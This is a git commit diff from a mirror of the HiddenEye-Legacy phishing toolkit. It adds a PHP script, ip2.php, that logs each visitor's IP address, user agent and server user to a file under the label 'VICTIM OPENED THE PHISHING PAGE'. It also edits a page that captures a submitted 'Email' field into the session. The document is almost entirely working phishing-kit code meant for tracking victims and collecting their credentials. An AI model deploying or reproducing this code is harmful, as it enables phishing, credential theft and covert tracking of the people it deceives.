mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Add files via upload
This commit is contained in:
parent
b57adb2f42
commit
84c314f019
File diff suppressed because one or more lines are too long
34
WebPages/live_web/ip2.php
Normal file
34
WebPages/live_web/ip2.php
Normal file
|
@ -0,0 +1,34 @@
|
|||
<?php
|
||||
|
||||
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
||||
}
|
||||
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
||||
}
|
||||
|
||||
$browser = $_SERVER['HTTP_USER_AGENT'];
|
||||
$useragent = " User-Agent: " . $browser;
|
||||
|
||||
$user = get_current_user();
|
||||
|
||||
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
||||
$victim = "VICTIM OPENED THE PHISHING PAGE" . "/r/n" . " Victim Public IP: ";
|
||||
|
||||
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
|
||||
|
||||
$fp = fopen($file, 'a');
|
||||
|
||||
fwrite($fp, $victim);
|
||||
fwrite($fp, $ipaddress);
|
||||
fwrite($fp, $useragent);
|
||||
fwrite($fp, $currentuser);
|
||||
|
||||
|
||||
fclose($fp);
|
|
@ -1,8 +1,4 @@
|
|||
<?php
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
|
||||
<?php
|
||||
if(isset($_POST["Email"])){
|
||||
$_SESSION["Email"]=$_POST["Email"];
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue
Block a user